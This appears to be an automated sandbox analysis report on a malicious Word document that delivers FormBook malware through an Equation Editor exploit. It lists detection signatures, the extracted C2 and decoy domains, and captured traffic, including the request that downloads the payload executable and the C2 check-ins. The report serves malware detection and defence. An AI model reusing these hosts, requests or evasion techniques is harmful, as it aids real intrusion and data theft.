Windows Analysis Report PO.doc

Overview

General Information

Sample Name: PO.doc
Analysis ID: 492582
MD5: 601260b52c23f2be80998a22b2fc77dd
SHA1: e4fd634040abd4f6b58aa7efe8fb59f7e64a395f
SHA256: 2dfd64c86cfb81ed8a280b74e6e7b244a8a98d3788c8c552266ddd5327e4f055
Tags: doc
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
Sigma detected: Droppers Exploiting CVE-2017-11882
System process connects to network (likely due to code injection or exploit)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Sigma detected: Suspect Svchost Activity
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Modifies the prolog of user mode functions (user mode inline hooks)
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Sigma detected: Suspicious Svchost Process
Office equation editor drops PE file
Queues an APC in another process (thread injection)
.NET source code contains very large strings
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.handelsbetriebposavec.com/if60/"], "decoy": ["babyjames.space", "dtjug.com", "bhagteri.com", "havplan.com", "gentlesuccess.net", "negativeminus.com", "utesm.com", "ngomen.online", "abohemianeducation.com", "hyper-quote.com", "poseidonflooring.com", "theshopdental.com", "consumelocaloficial.com", "tineue.com", "traerpolio.com", "somnambulantfarms.com", "sugarhillclassiccars.com", "brasseriedufayard.com", "replacerglass.net", "lazyguysmarketing.com", "audiofactaesthetic.com", "14551bercaw.com", "piaamsterdam.com", "coolkidssale.com", "advikaa.com", "suamui.net", "19820907.com", "ankibe.com", "barrelandlens.com", "personowner.guru", "gigexworld.com", "visionandcourage.com", "livelyselfcare.com", "hellohomeowner.com", "bestwazifaforloveback.com", "dyvikapeel.com", "ignitemyboiler.com", "photosbyamandajdaniels.com", "sofuery.com", "rawimage.net", "outtact.com", "tomura-dc.com", "tkachovagv.com", "theheavymental.com", "interfaceprosthetics.com", "publicpod.net", "investotbank.com", "fishguano.com", "livetvchannels.xyz", "trendinggk.com", "adlun.com", "studyhandbook.com", "cardinal.moe", "urbantennis.info", "jsbr.online", "simplyforus.com", "keyleadhealth.com", "aliltasteofnewyork.com", "usdigipro.com", "debbielin.com", "9921.xyz", "watdomenrendi05.com", "asustech.net", "rm-elektrotechnik.gmbh"]}
Multi AV Scanner detection for submitted file
Source: PO.doc Virustotal: Detection: 43% Perma Link
Source: PO.doc ReversingLabs: Detection: 28%
Yara detected FormBook
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://fantecheo.tk/ibefrankszx.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: www.handelsbetriebposavec.com/if60/ Virustotal: Detection: 8% Perma Link
Source: http://fantecheo.tk/ibefrankszx.exe Virustotal: Detection: 16% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ibefrankszx[1].exe ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe ReversingLabs: Detection: 20%
Antivirus or Machine Learning detection for unpacked file
Source: 6.2.ibeframnk863.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: ibeframnk863.exe, svchost.exe
Source: Binary string: svchost.pdb source: ibeframnk863.exe, 00000006.00000002.505477626.00000000006A1000.00000004.00000020.sdmp

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: fantecheo.tk
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4x nop then pop ebx 6_2_00407B1A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4x nop then pop edi 6_2_00417D85
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4x nop then pop edi 6_2_00417DBA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4x nop then pop ebx 8_2_00087B1C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4x nop then pop edi 8_2_00097D85
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4x nop then pop edi 8_2_00097DBA
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 185.239.243.112:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 185.239.243.112:80

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 99.83.154.118:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 99.83.154.118:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 99.83.154.118:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 63.250.43.8 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.personowner.guru
Source: C:\Windows\explorer.exe Domain query: www.audiofactaesthetic.com
Source: C:\Windows\explorer.exe Network Connect: 99.83.154.118 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.handelsbetriebposavec.com/if60/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /if60/?xPDxn6=9rThgvBPeDs8DTH&9rK4ARq=HAVwTDf9hhdM5uVFiR32xlZPJI7px6PgcsWLOsR2qKnXYIicfNgC1ah67lW/5Lf7WlrZFg== HTTP/1.1Host: www.personowner.guruConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /if60/?9rK4ARq=hKBoXJ/uTBXo6goup8EgTG8p/x7KMVUxfENEE605vE090EN0jXzIfy3RZCXjDv+XGbJHcA==&xPDxn6=9rThgvBPeDs8DTH HTTP/1.1Host: www.audiofactaesthetic.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 28 Sep 2021 18:42:28 GMTContent-Type: application/x-msdownloadContent-Length: 624640Last-Modified: Tue, 28 Sep 2021 03:45:00 GMTConnection: keep-aliveETag: "61528fbc-98800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 85 52 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 7c 09 00 00 0a 00 00 00 00 00 00 86 97 09 00 00 20 00 00 00 a0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 97 09 00 4f 00 00 00 00 a0 09 00 4c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 7b 09 00 00 20 00 00 00 7c 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 4c 06 00 00 00 a0 09 00 00 08 00 00 00 7e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 09 00 00 02 00 00 00 86 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 97 09 00 00 00 00 00 48 00 00 00 02 00 05 00 70 f6 00 00 34 00 03 00 03 00 00 00 a3 01 00 06 a4 f6 03 00 90 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 7b 1d 00 00 0a 2a 3a 02 28 1e 00 00 0a 02 03 7d 1d 00 00 0a 2a 00 13 30 03 00 24 00 00 00 01 00 00 11 03 75 02 00 00 1b 0a 06 2c 18 28 1f 00 00 0a 02 7b 1d 00 00 0a 06 7b 1d 00 00 0a 6f 20 00 00 0a 2b 01 16 2a 76 20 69 1f 79 45 20 29 55 55 a5 5a 28 1f 00 00 0a 02 7b 1d 00 00 0a 6f 21 00 00 0a 58 2a 00 00 13 30 07 00 4d 00 00 00 02 00 00 11 14 72 01 00 00 70 17 8d 13 00 00 01 25 16 02 7b 1d 00 00 0a 0a 12 00 12 01 fe 15 04 00 00 1b 07 8c 04 00 00 1b 2d 14 71 04 00 00 1b 0b 12 01 07 8c 04 00 00 1b 2d 04 26 14 2b 0b fe 16 04 00 00 1b 6f 22 00 00 0a a2 28 23 00 00 0a 2a 00 00 00 13 30 03 00 19 00 00 00 03 00 00 11 00 7e 03 00 00 04 03 02 61 20 ff 00 00 00 5f 95 03 1e 64 61 0a 2b 00 06 2a 00 00 00 13 30 01 00 0c 00 00 00 03 00 00 11 00 02 7b 02 00 00 04 0a 2b 00 06 2a 26 00 02 03 7d 02 00 00 04 2a 00 00 13 30 02 00 0e 00 00 00 03 00 00 11 00 02 03 d1 28 0a 00 00 06 0a 2b 00 06 2a 00 00 13 30 03 00 3f 00 00 00 04 00 00 11 00 03 20 ff 00 00 00 5f d2 0a
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /ibefrankszx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fantecheo.tkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Tue, 28 Sep 2021 18:44:30 GMTtransfer-encoding: chunkedconnection: closeData Raw: 33 31 45 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 69 73 20 62 65 69 6e 67 20 63 72 65 61 74 65 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 46 35 7a 65 4
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000007.00000000.463319655.0000000001BE0000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694748305.00000000031E0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000007.00000000.465106140.0000000003E50000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000007.00000000.448770237.000000000838C000.00000004.00000001.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.448770237.000000000838C000.00000004.00000001.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000007.00000000.463319655.0000000001BE0000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694748305.00000000031E0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp String found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp String found in binary or memory: http://www.msn.com/de-de/?ocid=iehp4MP&
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000007.00000000.434757196.0000000003DF8000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
Source: explorer.exe, 00000007.00000000.435525841.000000000449C000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
Source: explorer.exe, 00000007.00000000.435525841.000000000449C000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=12
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1LMEM
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F37BA74A-2884-4D29-90C1-0C63AEE1F3DB}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: fantecheo.tk
Source: global traffic HTTP traffic detected: GET /ibefrankszx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fantecheo.tkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /if60/?xPDxn6=9rThgvBPeDs8DTH&9rK4ARq=HAVwTDf9hhdM5uVFiR32xlZPJI7px6PgcsWLOsR2qKnXYIicfNgC1ah67lW/5Lf7WlrZFg== HTTP/1.1Host: www.personowner.guruConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /if60/?9rK4ARq=hKBoXJ/uTBXo6goup8EgTG8p/x7KMVUxfENEE605vE090EN0jXzIfy3RZCXjDv+XGbJHcA==&xPDxn6=9rThgvBPeDs8DTH HTTP/1.1Host: www.audiofactaesthetic.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
